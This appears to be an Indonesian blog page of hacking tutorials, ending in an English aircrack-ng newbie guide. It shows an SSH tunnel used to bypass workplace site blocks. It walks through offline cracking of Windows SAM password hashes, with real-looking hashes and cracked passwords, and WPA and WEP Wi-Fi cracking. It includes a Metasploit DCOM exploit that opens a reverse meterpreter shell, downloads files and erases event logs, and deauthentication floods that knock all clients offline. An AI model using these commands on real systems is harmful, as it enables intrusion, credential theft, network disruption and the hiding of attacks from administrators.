Social Icons

Pages

Minggu, 21 November 2010

Socks Proxy dengan SSH Tunelling




Sebelum ke tutorial mari kita pahamin dulu apa sih socks itu, menurut wikipedia socks adalah sebagai berikut :

SOCKS adalah protokol Internet yang memfasilitasi jaringan routing paket antara aplikasi client-server melalui server proxy. SOCKS terdapat pada Layer 5 dari model OSI Layer (lapisan perantara antara lapisan presentasi dan lapisan transport). Port 1080 adalah port yang biasa digunakan untuk server SOCKS.

Oh ia.. trik ini dapat digunakan untuk membuka situs-situs yang di blok oleh administrator jaringan :) , saya pribadi sering menggunakan trik ini :D , karena akses internet di kantor memang dibatasi oleh admin hehehe

ok kalu udah paham kita lanjut, tetapi ada hal yang perlu di perhatikan dalam tutorial kali ini yaitu Pastikan anda punya access SSH ke salah satu server di internet, apabila ada memiliki access tersebut sekarang kita lanjutkan

Tutorial ini saya praktekkan pada Linux, namun user sistem Operasi Windows sebenarnya juga bisa mungkin akan saya bahas terpisah dalam posting lain.

  1. Buka Terminal lalu ketikkan perintah berikut :
  2. ssh -D 127.0.0.1:1080 -l sucks05 b9net.ath.cx

    setelah muncul permintaan password silahkan masukkan password anda lalu enter

  3. Buka web browser anda dan access lah cmyip.com, maka akan terlihat ip public anda
  4. Buka web Browser anda, saya contohkan di sini menggunakan Firefox, Edit —>> Perference, lalu pilih Advance lalu tab Network dan tekan tombol setting lalu setting sesuai gambar berikut,Isi SOCK Host dengan 127.0.0.1 dan port dengan 1080 lalu Ok
  5. Setelah itu buka kembali web browser anda dan access lagi cmyip.com, maka ip public anda akan berubah.., ya sekarang anda browsing menggunakan ip dari SSH Server anda
  6. Jangan menutup terminal anda selama masih menggunakan proxy ini.

Berikut Penjelasan dari perintah ssh di atas

ssh -D 127.0.0.1:1080 -l sucks05 b9net.ath.cx

  • ssh : untuk menjalankan program ssh
  • -D 127.0.0.1:1080 : perintah untuk membuka port 1080 pada ip 127.0.0.1 atau localhost
  • -l sucks05 : login dengan username sucks05 (ganti dengan username anda pada SSH server)
  • b9net.ath.cx : host dari SSH server (ganti dengan host SSH Server anda)

Cracking Password Windows Via BT 4




Meskipun seorang newbie, tapi itu gak akan menghilangkan semangat untuk membuat sebuah tutorial yang bisa di share buat teman-temin semua, terlepas dari banyak kekurangan disana sini ane mohon maaf yee , hehehe...

1.Pertama setting di bios anda booting dari CD

2.Kemudian masuk ke BT seperti biasa dengan perintah startx

3.kita lanjut ke tahap mengkases file windows via BT, kenapa kita mengakses data windows, yah terang aja kan kita mau ngecrack passwordnya yg terletak di direktori C://WINDOWS/system32/config/ SAM , file yg bernama SAM inilah tempat di mana windows menyembunyikan password login windows. Wokeh lalu masuk di bt console dan ikuti langkah berikut:

Code:
untuk mengakses file window dan mounting di BT
root@backtrackers:~# mountconfig


maka akan muncul tampilan Disk & FileSystem Configuration, selanjutnya di situ kita bisa lihat bahwa drive C: windows terletak di partisi 1, atau kita bisa analisa satu persatu kok. Klik di partisi tersebut lalu klik new untuk merubah mountingnya. Lalu configurasi sbb:
Quote:
Type: Automatic
Mount Point: /mnt/sda1 (kalo belum ada folder sda1 nya silahkan di buat yah)
Device: /dev/sda1/

pastikan posisinya udah enable alias warna ijo......

selanjutnya lakukan mounting dengan perintah:
Code:
root@backtrackers:~# mount /dev/sda1 /mnt/sda1

maka drive window sudah bisa kita akses di bt
lalu lihat secara detail file windowsnya, bisa juga kita lihat di explorer nya bt dimana letak file SAM nya.

Code:
root@backtrackers:~# ls -l /mnt/sda1/WINDOWS/system32/config/SAM -rwxrwxrwx 1 root root 262144 2009-11-10 00:17 /mnt/sda1/WINDOWS /system32/config/SAM


untuk selanjutnya windows menyembunyikan sistem proteksi file SAM nya di file yg bernama syskey yang terletak di direktori berikut:
Code:
root@backtrackers:~# ls -l /mnt/sda1/WINDOWS/system32/config
total 31916
-rwxrwxrwx 1 root root 6029312 2009-11-11 01:23 system

(karena terlalu banyak untuk di tampilkan, jadi gwe capture aja file target kita, yaitu system)

okey kita udah dapet yg namanya file system, dan untuk selanjutnya kita akan capture file syskey tersebut dan kita jadikan sebuah file dengan program yg namanya bkhive yang terletak di :
aplikasi > backtrak > privilege escalation > password attack > offline attack > bkhive

atau langsung ketik di console juga gpp, gak dosa kok :)), disini nama file output yg gwe buat adalah wsyskey (buat penamaan terserah lo pada deh, mau bikin asiacarerasyskey atau tukul_syskey juga ga jadi masalah ;)) )

Code:
root@backtrackers:~# bkhive /mnt/sda1/WINDOWS/system32/config/system wsyskey
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : $$$PROTO.HIV
Default ControlSet: 001
Bootkey: 0c7b80c915ccc01cd4e949af7ebdde90


okey kita udah berhasil membuat file syskeynya, bisa di liat kok (gwe simpern filenya di /root)
Code:
root@backtrackers:~# ls -l
-rw-r--r-- 1 root root 16 2009-11-10 23:01 wsyskey


selanjutnya untuk melihat file yg terenkripsi didalam file system kita gunakan program samdump2
aplikasi > backtrak > privilege escalation > password attack > offline attack > samdump2

so yang artinya, jadi.., masukin perintah begono noh......, sehingga muncullah beberapa login yg ada di windows yg udah kita dump dari file sam

Code:
root@backtrackers:~# samdump2 /mnt/sda1/WINDOWS/system32/config/SAM wsyskey
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : SAM
Administrator:500:545a8bd6333a94aff4227b3697fb5b7c:71dd6e54afa0b12d34f6aadb93a02564:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:4977de14abb666c164f9f2ff61b57ac6:2932ca40988c78b801d226c8140b6702:::
juliaperes:1002:aad3b435b51404eeaad3b435b51404ee:ce899a3735c9489ffdc2c48df3ed6fdd:::
vinblackganteng:1003:85fcfffed6e0e9fcb75e0c8d76954a50:b33902ac5aacd0a02af58e900fa594a5:::

sekanjutnya...., eh sori.., selanjutnya kamsudnya....., kita rubah file wsyskey tadi menjadi file hash dalam ekstensi .txt , selanjutnya filenya ane kasih nama whash.txt

Code:
root@backtrackers:~# samdump2 /mnt/sda1/WINDOWS/system32/config/SAM wsyskey > whash.txt
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

Root Key : SAM


lalu liat kembali apa file tersebut udah jadi apa belon.....
Code:
root@backtrackers:~# ls -l
total 162944
-rw-r--r-- 1 root root 431 2009-11-10 23:05 whash.txt

nah lo udah ngonol...eh nongol dia...... ;)) , lalu liat isinya dengan perintah cat

Code:
root@backtrackers:~# cat whash.txt
Administrator:500:545a8bd6333a94aff4227b3697fb5b7c:71dd6e54afa0b12d34f6aadb93a02564:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:4977de14abb666c164f9f2ff61b57ac6:2932ca40988c78b801d226c8140b6702:::
juliaperes:1002:aad3b435b51404eeaad3b435b51404ee:ce899a3735c9489ffdc2c48df3ed6fdd:::
vinblackganteng:1003:85fcfffed6e0e9fcb75e0c8d76954a50:b33902ac5aacd0a02af58e900fa594a5:::


nah udah nongol lagi dah.., file2 user login dengan enkripsi hash nya, dan untuk selanjutnya kita akan crack file hash tersebut dengan program di bt4 prefinal yg namanya john (bukan john banting yah ,, hehehe) yang ada di
aplikasi > backtrak > privilege escalation > password attack > offline attack > john

Code:
root@backtrackers:/pentest/passwords/jtr# ./john /root/whash.txt


sehingga si bang john akan mengcrack file hash yg ada di file whash.txt tersebut yang kemudian menampilkan password windows tersebut, dalam proses crackingnya program ini seolah2 seperti hang, padahal dia sedang melakukan bruteforce terhadap file tersebut sehingga jika kita tidak akan menunggu lebih lama kita tekan aja control c untuk men setop prosesnya.

Karena bang john tidak bisa membedakan huruf besar kecil dan besar maka kita lihat file yg di simpen bang john di direktori dia sendiri yaitu
Code:
root@backtrackers:~# cat /pentest/passwords/jtr/john.pot
$1$xd5xuJYT$x6un0Ho.gXVCv4ZduhsYQ.:toor
$LM$aad3b435b51404ee:
$LM$f4227b3697fb5b7c:SEKSI
$LM$b75e0c8d76954a50:GANTENG123


dan yang terkahir setelah kita lihat di direktori bang john kembali kita tampilkan file pamungkas dengan perintah cat

Code:
root@backtrackers:/pentest/passwords/jtr# ./john --show /root/whash.txt


maka terlihatlah password untuk
vinblackganteng: ganteng123
juliaperes: SEKSI


NB:
1. untuk proses crackingnya terkadang penggunaan password yg panjang dan multikarakter sepertinya bang john cukup kesulitan atau memakan waktu lama (perasaan ane sih, mungkin ada temen2 laen yg punya teknik sendiri atau solusi, yang jelas file hash nya udah kita dapetin)
2. dalam proses cracking ini bang john tidak akan mengulangi lagi terhadap file yang udah di cracknya, jadi walaupun kita mengulanginya sampai 10 kali, si john tetap pada pendiriannya yaitu cracking yg pertama.

Sekian dulu tutorial yang acak2an ini , semoga membantu

Cracking WPA-PSK

semoga tutorial ini dapat membantu...



    1. Siapkan CD Live Backtrack n tentunya dengan partnernya n of course segelas kopi agar lebih santai..

    2. masuk ke dekstop dengan perintah ~# startx

    3. buka konsole dan ketikkan perintah :~# ifconfig -a




    4. :~# ifconfig wlan0 up (tuk mengaktifkan interface wlan0)




    5. :~# airmon-ng
    :~# airmon-ng start wlan0
    (tuk membuat virtual interface mode monitor)




    6. :~# airodump-ng mon0 (tuk memonitoring jaringan yang ada di sekitar)
    mon0 adalah interface virtual hasil dari airmon-ng tadi


    hasil dari airodump-ng mon0




    7. :~# airodump-ng -w test --channel 11 --bssid 00904c910001 mon0 (tuk memonitoring khusus jaringan yang memiliki bssid 00:90:4C:91:00:01 pada channel 11 dan hasil dari monitoring di tulis pada file yang bernama 'test')



    8. :~# aireplay-ng -0 1 -a 00904c910001 -c oo1cbfa13fe3 mon0 (aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 00:1C:BF:A1:3F:E3 untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking)

    -0 : mode serangan deAuthentication
    1 : dilakukan sebanyak 1x deAuth




    9. setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah
    :~# aircrack-ng test-01.cap -w /pentest/passwords/wordlists/inawpa.txt

    inawpa.txt adalah file password yang saya buat sendiri dan terletak pada /pentest/passwords/wordlists/inawpa.txt




    sebagai informasi, keberhasilan proses cracking tergantung ada tidaknya password yang ada di list password dengan password yang sebenarnya...jika password yang digunakan pada jaringan tersebut ada di list password maka proses cracking akan berhasil dan jika password list yang qt miliki tidak mencatat password yang digunakan pada jaringan tersebut kemungkinan keberhasilan proses cracking akan gagal..

Menembus Windows 2000, 2003, XP SP1




Dasar Teori
===========
Bugs sistem operasi windows salah satunya terjadi stack overflow/ buffer overflow di interface RPC yang mengaktifkan DCOM Component (Distributed Component Object Modul) yang secara default instalasi memang di aktifkan oleh windows yang dalam protokol Netbios, DCOM di gunakan untuk membuka interface komunikasi dengan komputer lain yang mengakses sharing file dengan memanfaatkan port 135. Hal ini tentu memungkinkan seorang attacker menyerang port 135 dan memungkinkan attacker bisa mendapatkan akses setingkat AUTHORITY SYSTEM karena RPC running dengan otoritas sistem.

Alat-alat yg digunakan
=======================
OS : Backtrack 4 R1
Target : Windows 2000, 2003, XP SP1
Tools : Metasploit v.3.4
Exploit : ms03_026_dcom
Payload : windows/meterpreter/reverse_tcp
Port : 135

Command yg digunakan
=====================
1. Setting IP static.
root@bt:~#ifconfig eth0 [ip-address]

2. Ping IP target, untuk mengetahui konektifitas komputer target.
root@bt:~#ping [ip-address-target]

3. Scan sistem operasinya dan apakah port 135 terbuka.
root@bt:~# nmap -sS-O [ip-address-target]

4. Login ke Metasploit
root@bt:~#cd /pentest/exploits/framework3
root@bt:/pentest/exploits/framework3#./msfconsole

5. Exploit RPC Dcom dan peroleh shell windows
msf> usewindows/dcerpc/ms03_026_dcom
msfexploit(ms03_026_dcom)> set RHOST [ip-address-target]
msfexploit(ms03_026_dcom)> set LHOST [ip-address]
msfexploit(ms03_026_dcom)> set PAYLOAD windows/meterpreter/reverse_tcp
msfexploit(ms03_026_dcom)> exploit
meterpreter >execute -H -f cmd.exe –i (Get Shell Windows)
Process1116 created.
Channel 2 created.
Microsoft WindowsXP [Version5.1.2600]
(C) Copyright1985-2001 Microsoft Corp.
C:\WINDOWS\system32>

6. Download File
Meterpreter > download [path-source-target][path-source-local]
Example:Download Sunset.jpg
meterpreter > download C:\\'Documents and Settings'/'All Users'/Documents/'My
Pictures'/'SamplePictures'/Sunset.jpg /root/

7. Upload File
Meterpreter > upload [path-source-local][path-source-target]
Example:Upload install.sh
meterpreter >upload /root/install.sh C:\\'Documents and
Settings'/Administrator/Desktop/

8. Erase Log File
meterpreter >clearev

Note:
[using help command]: meterpreter> ?

Perintah diatas sudah diuji cobakan dengan berhasil 100%

Menggunakan aireplay-ng




1. Set device channel mode
yang dimaksud disini yaitu menyamakan channel yang pada interface wireless kita ke channel yang dipake ap
bisa pake command
iwconfig mon0 channel 4

2. aireplay-ng --deauth 3000 -a [Mac AP Target] -c ff:ff:ff:ff:ff:ff eth1
jumlah count pada --deauth itu menunjukan jumlah pake yang di kirim / detik (klo ngak salah sih gitu)jadi klo 3000 berarti 3000 detik
-c ff:ff:ff:ff:ff:ff semua client yang konek ke AP target akan di matikan semua koneksinya

atau

mode monitoring on
aireplay-ng --deauth 100000000000 -e [MAC kita] -a [MAC AP target] mon0
contoh:

aireplay-ng --deauth 100000000000 -e 00:17:c4:5a:c1:73 -a 00:19:5B:8A:57:AF mon0

==>> intinya ditujukan ke SEMUA klien yang konek dengan AP tersebut pkoknya tinggal gnti MAC destination

watch -n 1 aireplay-ng --deauth


1 -a [Mac AP Target] -c ff:ff:ff:ff:ff:ff eth1

#aireplay-ng --deauth 100000000000 -a 00:15:E9:F9:3A:3D -c 00:1B:77:9E:3C:47 mon0 (matiin 1 client yg konek dengan wifi)


--deauth 100000000000: pemutusan koneksi akan terus dicoba oleh aireplay selama 100000000000x (terserah mau berapa X).

-a : adalah bssid/mac dari AP target

-c : adalah client yang ingin kita putuskan koneksi nya.

mon0: injeksi menggunakan adapter virtual yang baru diciptakan tadi

untuk menggunakan cara ini, tentunya chipset wireless kita harus mendukung

Aircrack-ng Newbie Guide for Linux






This tutorial will give you the basics to get started using the aircrack-ng suite. It is impossible to provide every piece of information you need and cover every scenario. So be prepared to do some homework and research on your own. The Forum and the Wiki have lots of supplementary tutorials and information.

Although it does not cover all the steps from start to finish like this tutorial, the Simple WEP Crack tutorial covers the actual aircrack-ng steps in much more detail.

Setting up Hardware, Installing Aircrack-ng

The first step in getting aircrack-ng working properly on your Linux system is patching and installing the proper driver for your wireless card. Many cards work with multiple drivers, some of which provide the necessary features for using aircrack-ng, and some of which do not.

Needless to say, you need a wireless card which is compatible with the aircrack-ng suite. This is hardware which is fully compatible and can inject packets. A compatible wireless card can be used to crack a wireless access point in under an hour.

To determine to which category your card belongs to, see hardware compatibility page. Read Tutorial: Is My Wireless Card Compatible? if you don't know where to look in this table. It still does not hurt to read this tutorial to build your knowledge and confirm your card attributes.

First, you need to know which chipset is used in your wireless card and which driver you need for it. You will have determined this using the information in the previous paragraph. The drivers section will tell you which drivers you need for your specific chipset. Download them and then get the corresponding patch from http://patches.aircrack-ng.org. (These patches enables the support for injection.)

As I own a Ralink USB device, I am providing the steps to get it working with Aircrack-ng. Before you are able to compile and install drivers, you need the kernel-sources for your distribution installed.

If you own another type of card, check the installing drivers page for instructions about other drivers. As well, do a search in the net if you're unsure how to install them.

RaLink USB rt2570 Setup guide

If you own a rt2570 USB device (like D-Link DWL-G122 rev. B1 or Linksys WUSB54G v4) you should use the drivers from http://homepages.tu-darmstadt.de/~p_larbig/wlan/ These are special modified drivers, which support injection and are reported to work best with Aircrack-ng. They don't need to be patched. Of course these drivers do also work for normal operation. (Starting with kernel 2.6.25 and Aircrack-ng v1.0-rc1, the in-kernel driver, rt2500usb, can also be used.)

Lets unpack, compile and install the drivers:

tar xfj rt2570-k2wrlz-1.3.0.tar.bz2
cd rt2570-k2wrlz-1.3.0/Module
make
make install

The last step has to be performed as root. Use su to change to root. Now we can load the module into the kernel:

modprobe rt2570

Plug in your card, it should be recognized as rausb0 now. Run iwconfig to list your wireless devices and check if everything is working.

Aircrack-ng installation

Source

Get the latest copy of aircrack-ng from the homepage: http://www.aircrack-ng.org The following commands would have to be changed if you use a newer version of the software.

Unpacking, compiling, installing:

tar xfz aircrack-ng-1.0-rc1.tar.gz
cd aircrack-ng-1.0-rc1
make
make install

As usual, the last step needs to be performed as root, use su or sudo -s to login as root (use sudo make install for Ubuntu).

YUM

WARNING!!! Currently, neither of the repositories hosts the latest version of Aircrack-ng. It's recommended that you use the first method instead.

If you are using a system like Redhat Linux or Fedora Core you can install aircrack-ng with yum. First you have to add the repository of Dag Wieers or Dries.

su
yum -y install aircrack-ng

RPM

WARNING!!! Currently, neither of the repositories hosts the latest version of Aircrack-ng. It's recommended that you use the first method instead.

If you are using a system which is rpm-based then you can take the easy way to install aircrack-ng. (Example for Redhat Linux 4)

su
rpm -ihv http://dag.wieers.com/rpm/packages/aircrack-ng/aircrack-ng-0.7-1.el4.rf.i386.rpm

IMPORTANT: Check http://dag.wieers.com/rpm/packages/aircrack-ng/ for the latest version of the aircrack-ng suite and change the command above to reference the latest version.

IEEE 802.11 basics

Ok, now everything is ready, time to make a pit stop before the action finally starts and learn something about how wireless networks work.

The following chapter is very important, if something doesn't work as expected. Knowing what all is about helps you find the problem or helps you at least to describe it so someone else who can help you. This is a little bit scientific and maybe you feel like skipping it. However, a little knowledge is necessary to crack wireless networks and because it is a little more than just typing one command and letting aircrack do the rest.

How a wireless network is found

This is a short introduction into managed networks, these ones working with Access Points (AP). Every AP sends out about 10 so called beacon frames a second. These packets contain the following information:

  • Name of the network (ESSID)
  • If encryption is used (and what encryption is used; pay attention, that may not be always true just because the AP advertises it)
  • What MBit data rates are supported
  • Which channel the network is on

This information is then shown in your tool that connects to this network. It is shown when you let your card scan for networks with iwlist scan and when you run airodump-ng.

Every AP has a unique MAC address (48 bit, 6 pair of hexadecimal numbers). It looks like 00:01:23:4A:BC:DE. Every network hardware device has such an address and network devices communicate with each other by using this MAC address. So its basically like a unique name. MAC addresses are unique, no two network devices in the world have the same MAC address.

Connecting with a network

If you want to connect to a wireless network, there are some possibilities. In most cases, Open System Authentication is used. (Optional: If you want to learn more about authentication, check this out.)

Open System Authentication:

  1. Ask the AP for authentication.
  2. The AP answers: OK, you are authenticated.
  3. Ask the AP for association
  4. The AP answers: OK, you are now connected.


This is the simplest case, BUT there could be some problems if you are not legitimate to connect:

  • WPA/WPA2 is in use, you need EAPOL authentication. The AP will deny you at step 2.
  • Access Point has a list of allowed clients (MAC addresses), and it lets no one else connect. This is called MAC filtering.
  • Access Point uses Shared Key Authentication, you need to supply the correct WEP key to be able to connect. (See the How to do shared key fake authentication? tutorial for advanced techniques.)

Simple sniffing and cracking

Discovering Networks

The first thing to do is looking out for a potential target. The aircrack-ng suite contains airodump-ng for this - but other programs like Kismet can be used too.

Prior to looking for networks, you must put your wireless card into what is called “monitor mode”. Monitor mode is a special mode that allows your PC to listen to every wireless packet. This monitor mode also allows you to optionally inject packets into a network. Injection will be covered later in this tutorial.

To put your wireless card into monitor mode:

airmon-ng start rausb0

To confirm it is in monitor mode, run “iwconfig” and confirm the mode. The airmon-ng page on the Wiki has generic information and how to start it for other drivers.

Then, start airodump-ng to look out for networks:

airodump-ng rausb0

“rausb0” is the network interface (nic) name. If you are using a different WLAN device than a rt2570 you'll have to use a different nic name. Take a look in the documentation of the nic driver. For most newer drivers, the primary interface name is “wlan0”, but for monitoring, a secondary interface (“mon0”, created when you run airmon-ng) is used.

If airodump-ng could connect to the WLAN device, you'll see a screen like this:


airodump-ng hops from channel to channel and shows all access points it can receive beacons from. Channels 1 to 14 are used for 802.11b and g (in US, they only are allowed to use 1 to 11; 1 to 13 in Europe with some special cases; 1-14 in Japan). Channels between 36 and 149 are used for 802.11a. The current channel is shown in the top left corner.

After a short time some APs and (hopefully) some associated clients will show up.

The upper data block shows the access points found:

BSSID

The MAC address of the AP

PWR

Signal strength. Some drivers don't report it

Beacons

Number of beacon frames received. If you don't have a signal strength you can estimate it by the number of beacons: the more beacons, the better the signal quality

Data

Number of data frames received

CH

Channel the AP is operating on

MB

Speed or AP Mode. 11 is pure 802.11b, 54 pure 802.11g. Values between are a mixture

ENC

Encryption: OPN: no encryption, WEP: WEP encryption, WPA: WPA or WPA2 encryption, WEP?: WEP or WPA (don't know yet)

ESSID

The network name. Sometimes hidden

The lower data block shows the clients found:

BSSID

The MAC of the AP this client is associated to

STATION

The MAC of the client itself

PWR

Signal strength. Some drivers don't report it

Packets

Number of data frames received

Probes

Network names (ESSIDs) this client has probed

Now you should look out for a target network. It should have a client connected because cracking networks without a client is an advanced topic (See How to crack wep with no clients). It should use WEP encryption and have a high signal strength. Maybe you can re-position your antenna to get a better signal. Often a few centimeters make a big difference in signal strength.

In the example above the net 00:01:02:03:04:05 would be the only possible target because it's the only one with an associated client. But it also has a high signal strength so it's really a good target to practice.

Sniffing IVs

Because of the channel hopping you won't capture all packets from your target net. So we want to listen just on one channel and additionally write all data to disk to be able to use it for cracking:

airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump rausb0

With the -c parameter you tune to a channel and the parameter after -w is the prefix to the network dumps written to disk. The ”--bssid” combined with the AP MAC address limits the capture to the one AP. The ”--bssid” option is only available on new versions of airodump-ng.

Before being able to crack WEP you'll usually need between 40 000 and 85 000 different Initialization Vectors (IVs). Every data packet contains an IV. IVs can be re-used, so the number of different IVs is usually a bit lower than the number of data packets captured.

So you'll have to wait and capture 40K to 85K of data packets (IVs). If the network is not busy it will take a very long time. Often you can speed it up a lot by using an active attack (=packet replay). See the next chapter.

Cracking

If you've got enough IVs captured in one or more file, you can try to crack the WEP key:

aircrack-ng -b 00:01:02:03:04:05 dump-01.cap

The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets. You can use multiple files, just add all their names or you can use a wildcard such as dump*.cap.

For more information about aircrack-ng parameters, description of the output and usage see the manual.

The number of IVs you need to crack a key is not fixed. This is because some IVs are weaker and leak more information about the key than others. Usually these weak IVs are randomly mixed in between the stronger ones. So if you are lucky, you can crack a key with only 20 000 IVs. But often this it not enough and aircrack-ng will run a long time (up to a week or even longer with a high fudge factor) and then tell you the key could not be cracked. If you have more IVs cracking can be done a lot faster and is usually done in a few minutes, or even seconds. Experience shows that 40 000 to 85 000 IVs is usually enough for cracking.

There are some more advanced APs out there that use an algorithm to filter out weak IVs. The result is either that you can't get more than “n” different IVs from the AP or that you'll need millions (like 5 to 7 million) to crack the key. Search in the Forum, there are some threads about cases like this and what to do.

Active attacks

Injection support

Most devices don't support injection - at least not without patched drivers. Some only support certain attacks. Take a look at the compatibility page, column aireplay. Sometimes this table is not up-to-date, so if you see a “NO” for your driver there don't give up yet, but look at the driver homepage, the driver mailing list or our Forum. If you were able to successfully replay using a driver which is not listed as supported, don't hesitate to update the compatibility page table and add a link to a short howto. (To do this, request a wiki account on IRC.)

The first step is to make sure packet injection really works with your card and driver. The easiest way to test it is the injection test attack. Make sure to perform this test prior to proceeding. Your card must be able to successfully inject in order to perform the following steps.

You'll need the BSSID (AP MAC) and ESSID (network name) of an AP that does not do MAC filtering (e.g. your own) and must be in range of the AP.

Try to connect to your AP using aireplay-ng:

aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 rausb0

The value after -a is the BSSID of your AP.

If injection works you should see something like this:

12:14:06 Sending Authentication Request
12:14:06 Authentication successful
12:14:06 Sending Association Request
12:14:07 Association successful :-)

If not

  1. double-check ESSID and BSSID
  2. make sure your AP has MAC filtering disabled
  3. test it against another AP
  4. make sure your driver is properly patched and supported
  5. Instead of “0”, try “6000 -o 1 -q 10”

ARP replay

Now that we know that packet injection works, we can do something to massively speed up capturing IVs: ARP-request reinjection

The idea

ARP works (simplified) by broadcasting a query for an IP and the device that has this IP sends back an answer. Because WEP does not protect against replay, you can sniff a packet, send it out again and again and it is still valid. So you just have to capture and replay an ARP-request targeted at the AP to create lots of traffic (and sniff IVs).

The lazy way

First open a window with an airodump-ng sniffing for traffic (see above). aireplay-ng and airodump-ng can run together. Wait for a client to show up on the target network. Then start the attack:

aireplay-ng --arpreplay -b 00:01:02:03:04:05 -h 00:04:05:06:07:08 rausb0

-b specifies the target BSSID, -h the MAC of the connected client.

Now you have to wait for an ARP packet to arrive. Usually you'll have to wait for a few minutes (or look at the next chapter).

If you were successful, you'll see something like this:

Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...

If you have to stop replaying, you don't have to wait for the next ARP packet to show up, but you can re-use the previously captured packet(s) with the -r option.

When using the arp injection technique, you can use the PTW method to crack the WEP key. This dramatically reduces the number of data packets you need and also the time needed. You must capture the full packet in airodump-ng, meaning do not use the ”--ivs” option when starting it. For aircrack-ng, use “aircrack -z ”. (PTW is the default attack in 1.0-rc1.)

If the number of data packets received by airodump-ng sometimes stops increasing you maybe have to reduce the replay-rate. You do this with the -x option. I usually start out with 50 and reduce until packets are received continuously again. Better positioning of your antenna usually also helps.

The aggressive way

Most operating systems clear the ARP cache on disconnection. If they want to send the next packet after reconnection (or just use DHCP), they have to send out ARP requests. So the idea is to disconnect a client and force it to reconnect to capture an ARP-request. A side-effect is that you can sniff the ESSID and possibly a keystream during reconnection too. This comes in handy if the ESSID of your target is hidden, or if it uses shared-key authentication.

Keep your airodump-ng and aireplay-ng running. Open another window and run a deauthentication attack:

aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 rausb0

-a is the BSSID of the AP, -c the MAC of the targeted client.

Wait a few seconds and your arp replay should start running.

Most clients try to reconnect automatically. But the risk that someone recognizes this attack or at least attention is drawn to the stuff happening on the WLAN is higher than with other attacks.